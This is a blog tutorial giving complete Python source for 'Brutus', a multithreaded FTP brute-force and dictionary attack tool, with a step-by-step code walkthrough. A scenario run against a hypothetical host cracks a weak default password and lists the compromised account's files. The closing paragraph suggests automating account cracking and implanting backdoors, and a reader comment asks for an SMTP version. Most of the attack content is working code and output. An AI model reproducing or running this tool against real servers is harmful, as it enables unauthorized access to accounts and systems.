Who brute-forces anymore?
I do! When appropriate.
I’ve created Brutus which is a tiny python ftp brute-force and dictionary attack tool. However, let’s put that on hold for a sec. Before we dive into this python FTP brute-force and dictionary attack tool, let’s set the record straight on what exactly is a brute-force attack and what’s a dictionary attack.
What’s the difference between a brute-force and dictionary attack?
I’ve been guilty of calling a dictionary attack a brute-force attack more than once despite that being technically inaccurate. Fundamentally, they both exhaust a preset range of passwords. The only real difference is the content of this range of passwords.
Brute-Force Attack
In a brute-force attack the passwords are typically generated on the fly and based on a character set and a set password length. These two values are processed by an algorithm which will then attempt all possible combinations in the specified range.
Dictionary Attack
On the other side, a dictionary attack typically receives its passwords from a file containing a pre-generated list of passwords which are most likely to be successful. This is why it’s common for the dictionary to be used in a dictionary attack. However, that doesn’t mean the words have to be human readable words. They can contain only digits or even special characters if that were appropriate.
Boiled Down
What separates a brute-force attack from a dictionary attack is time. Brute-force attacking will in most cases (you’re doing it wrong) take longer than a dictionary attack. A dictionary attack’s goal is to reduce a the amount of time a brute-force attack would take by trying a fraction of the full set you believe to be most likely used for a password.
Okay, with that out of the way let’s go ahead and jump into writing our python FTP brute-force and dictionary attack tool.
Coding a Python FTP Brute-Force & Dictionary Attack Tool
Today we’re going to write a python tool to brute-force or dictionary attack an FTP server. The tool will be multi-threaded and have a several command line arguments for configuring the attack which you can review below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | usage: brutus.py [-h] [-w WORDLIST] [-c CHARSET] [-l [LENGTH]] [-m [MINLENGTH]] [-r PREFIX] [-o POSTFIX] [-p [PAUSE]] [-t [THREADS]] [-v [VERBOSE]] host username positional arguments: host FTP host username username to crack optional arguments: -h, --help show this help message and exit -w WORDLIST, --wordlist WORDLIST wordlist of passwords -c CHARSET, --charset CHARSET character set for brute-force -l [LENGTH], --length [LENGTH] password length for brute-force -m [MINLENGTH], --minlength [MINLENGTH] Minimum password length -r PREFIX, --prefix PREFIX prefix each password for brute-force -o POSTFIX, --postfix POSTFIX postfix each password for brute-force -p [PAUSE], --pause [PAUSE] pause time between launching threads -t [THREADS], --threads [THREADS] num of threads -v [VERBOSE], --verbose [VERBOSE] verbose output |
Python Imports
1 2 3 4 | import argparse, sys, threading, time from datetime import datetime from itertools import chain, product from ftplib import FTP |
We start with importing the required modules for the tool. We use datetime for getting the current time, itertools is used for generating passwords in brute-force attacks, and finally ftplib is used for attempting connections to an FTP server.
1 2 3 4 5 6 7 8 9 10 11 12 | # Create some global variables class glob: pwd = False # Used for stopping attack when password found chrset = "" # Character set for brute-force prefix = "" # Prefix string postfix = "" # Postfix string length = 8 # Default length of password minlength = 5 # Default min length of password thrds = 10 # Default num of threads verb = False # Default value for verbose output pause = 0.01 # Default throttle time, 1 = one second cnt = 0 # Counting number of attempts |
Global Variables
These are the global variables we’ll use through a class to store the tool’s configuration values.
pwd – For declaring that a password has been found and used for stopping the scan
chrset – For declaring the character set to use when performing a brute-force attack.
An example character set could be: abcdefghijklmnopqrstuvwxyz
prefix – For declaring a string to prepend to any passwords generated when brute-forcing
postfix – For declaring a string to postpend to any passwords generated when brute-forcing
length – For declaring the default length of a generated password when brute-forcing
minlength – For declaring the minimum length of a generated password when brute-forcing
thrds – Number of threads to launch when attacking
verb – For declaring verbose output
pause – For throttling the launch of threads
cnt – For tracking the number of password attempts
Brute-Force Password Generator
This next method is what we’ll use to generate passwords for brute-forcing. The method will take three parameters charset, maxlength, and minlength. This method will take these input values and generate all possible combinations.
1 2 3 4 5 | # Iterable Method for brute-forcing a character set and length def bruteforce(charset, maxlength, minlength): return (''.join(candidate) for candidate in chain.from_iterable(product(charset, repeat=i) for i in range(minlength, maxlength + 1))) |
charset – Is used for specifying the character set to use when generating passwords
maxlength – Is the maximum number of characters for the password
minlength – Is the minimum number of characters for the password
FTP Connection Attempt Method
This is our method for attempting FTP connections to our target system. This method takes three parameters host, user, and pwd which are self explanatory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | # Method for making ftp connections def crack(host, user, pwd): try: if glob.verb: # Check for verbose output print "[" + str(glob.cnt) + "] Trying: " + pwd.strip() ftp = FTP(host) # Create FTP object if ftp.login (user, pwd): # Check if true print "\nPassword for " + user + ": " + pwd.strip() print "==================================================" glob.pwd = True # Set global value print ftp.dir() # Display contents of root FTP ftp.quit() # Disconnect from FTP except Exception as err: pass # Ignore errors |
The first thing we do is create a try/except block to ignore any errors as each failed attempt will generate an error that we are not concerned with. From there we want to check our glob.verb variable for True and display the passwords we are attempting.
Next, we create an FTP object from ftplib to facilitate our FTP connections and use the login() method to attempt a connection. If True, then we’ve successfully made a connection and found a valid password. We’ll print our results to the screen, set the glob.pwd variable to True then display the contents of the FTP directory and finally close the connection with quit().
Wait For Threads
This method will be used after launching our threads and will allow each thread to complete by calling .join() before launching a new set of threads.
1 2 3 | # Method wait for threads to complete def wait(threads): for thread in threads: thread.join() |
Main Attack Method
Our main method is used to prepare our attack and launch it once it’s been configured. There looks to be a lot going on here, but it’s really basic stuff. We just need to do a little leg work. We get started by setting up a try/except block to catch the KeyboardInterrupt when a user pressing Ctrl+C to stop the scan.
Next, we’ll create our tools header message and initializing each global variable from the command line arguments passed into the tool. If the user did not supply a value for glob.charset, we’ll generate a characters set of all the printable characters.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | # Method for staging attack def main(args): try: start = datetime.now() # Time attack started print "\nAttacking FTP user [" + args.username + "] at [" + args.host + "]" print "==================================================" thrdCnt = 0;threads = [] # Local variables # Set global variables if args.pause:glob.pause = float(args.pause) if args.verbose:glob.verb = True if args.threads:glob.thrds = int(args.threads) if args.length:glob.length = int(args.length) if args.minlength:glob.minlength = int(args.minlength) if args.charset:glob.chrset = args.charset if args.prefix:glob.prefix = args.prefix if args.postfix:glob.postfix = args.postfix if args.charset == None: # Create charset from printable ascii range for char in range(37,127):glob.chrset += chr(char) # Brute force attack if args.wordlist == None: for pwd in bruteforce(glob.chrset, int(glob.length),int(glob.minlength)): # Launch brute-force if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads if args.prefix: pwd = str(args.prefix) + pwd if args.postfix: pwd += str(args.postfix) thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt += 1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: # Wait for threads to complete wait(threads) thrdCnt = 0 threads = [] # Dictionary attack else: with open(args.wordlist) as fle: # Open wordlist for pwd in fle: # Loop through passwords if glob.pwd: break # Stop if password found if thrdCnt != args.threads: # Create threads until args.threads thread = threading.Thread(target=crack, args=(args.host,args.username,pwd,)) thread.start() threads.append(thread) thrdCnt +=1;glob.cnt+=1 time.sleep(glob.pause) # Set pause time else: wait(threads) # Wait for threads to complete thrdCnt = 0 threads = [] except KeyboardInterrupt: print "\nUser Cancelled Attack, stopping remaining threads....." wait(threads) # Wait for threads to complete sys.exit(0) # Kill app wait(threads) # Wait for threads to complete stop = datetime.now() print "==================================================" print "Attack Duration: " + str(stop - start) print "Attempts: " + str(glob.cnt) + "\n" |
Now we step into the logic that checks if this is a brute-force attack by checking the args.wordlist value for None. If true, we start the brute-force attack by create a for loop that iterates through our bruteforce() method returning one generated password at a time and launching a new thread.
We use an if statement to track the number of threads generated and when we’ve reached the max we hit the else clause where we call the wait() method passing in our threads and waiting for them to complete before our loop continues and starts the next round of threads, repeating this process until all passwords are exhausted or we find a password.
If we’re launching a dictionary attack we’ll then open the supplied wordlist file and loop through it’s contents reading each line and creating an attack thread. Just like with the brute-force attack we create a thread for each attempt. We track our threads and launch new batches once the first has completed.
Again, this process continues until all passwords are exhausted or a valid password is found. Finally, the tool ends with a simple footer message that display the attack duration and the number of attempts made during that time. Now that our tool is complete let’s look at a scenario where we might utilize this tool.
Brute-Force Attack Scenario
You might think brute-forcing is pointless against an FTP service for the obvious time it would take to crack an account. This is certainly true for an un-targeted brute-force attack, but, what if we were dealing with a situation of poorly generated default passwords? System administrators and programmers are human beings, and therefore will make mistakes.
Let’s say a small sas-hosting company (or not) has a small start-up team and may not have appropriate change management policies enacted. This lead to a situation where a junior developer’s just testing some ideas code finds its way into a production environment and inadvertently creates a security risk.
This code happens to give all new accounts a unique ID incremented by one combined with the first four letters of the server hostname. This combination is then used to create new system accounts as needed which would allow an attacker to enumerate system accounts with ease once they had an ID value.
The developer also gave each of these accounts a default password made of the first four characters of the hostname scrambled, combined with a randomly generated four digit number between 0000 – 9999. However, due to a bug in the code the first four characters were not being randomly scrambled and remained static.
How to Crack The Code?
With the understanding that the hostname and uniquie ID create our username we are easily able to enumerate user accounts on the server by decrementing the uniquie ID up or down by one.
Let’s pretend the server hostname is ua-homeonline.example.com and the unique ID is 3452842 this would give us a username of ua-h3452842 as a starting point for enumerating accounts on this server. We also know the password contains the first four characters of the hostname and a randomly generated number from 0000-9999.
Being that the first four characters are static we only need to generate passwords of 10^4 and combine the two values on each iteration to create a list of passwords to attack. Under normal circumstances, to brute-force an eight digit password of only lower case letters, hyphens, and numbers zero through nine gives us 38^8 possible guesses and is equal to 4,347,792,138,496. Yes, that’s trillion!
Let’s see if we can reduce that down to something manageable. We already know the first four characters of the password which dramatically reduces the number of possibilities. The last four characters of the password is a randomly generated four digit number from 0000-9999 giving us 10^4 which totals out to only 10,000 possibilities to brute-force. I do believe that is less than four trillion.
Fast Enough?
With 10,000 possibilities to brute-force it would take you less than three hours to crack the password at the rate of one guess per second. If you tried 45 passwords a second it would take less than four minutes to crack the password so let’s try it out.
Cracking The Password
Now, at this point we could use PaGen to generate a dictionary file of all 10,000 passwords if we were going to combine the passwords with additional password lists. In this instance, I’m just going to use this tiny python ftp brute-force tool, Brutus to brute-force all 10,000 possibilities in our attack. Brutus has several command line options for brute-force attacks which we’ll use to facilitate our attack against a specific character set and password length.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | mrh@dev:~$ ./brutus.py ua-homeonline.example.com ua-h3452842 -c "0123456789" -l 4 -m 4 -r "ua-h" -t 50 -v Attacking FTP user [ua-h3452842] at [ua-homeonline.example.com] ================================================== [1] Trying: ua-h0000 [2] Trying: ua-h0001 [3] Trying: ua-h0002 [4] Trying: ua-h0003 [5] Trying: ua-h0004 [6] Trying: ua-h0005 [7] Trying: ua-h0006 [8] Trying: ua-h0007 [9] Trying: ua-h0008 [10] Trying: ua-h0009 [11] Trying: ua-h0010 ... ... [2735] Trying: ua-h2788 [2736] Trying: ua-h2789 [2737] Trying: ua-h2790 [2738] Trying: ua-h2791 [2739] Trying: ua-h2792 Password for ua-h3452842: ua-h2773 ================================================== drwxrwxr-x 2 1004 1004 4096 Sep 02 20:36 secret None ================================================== Attack Duration: 0:03:28.225287 Attempts: 2739 mrh@dev:~$ |
Closing
Reviewing the output you can see I was able to determine the password for the account in less than 4 minutes. That’s just one of many accounts on the server. From here you could write an automated tool to crack accounts and then implant backdoors once an account is compromised. While brute-force isn’t generally your go-to option, it does have it’s place. If you make any needed additions to this tool please let me know as I’d love to see your improvements.
Please How Can we do same for SMTP bruteforce that would also be multithreaded
pode me manda seu skype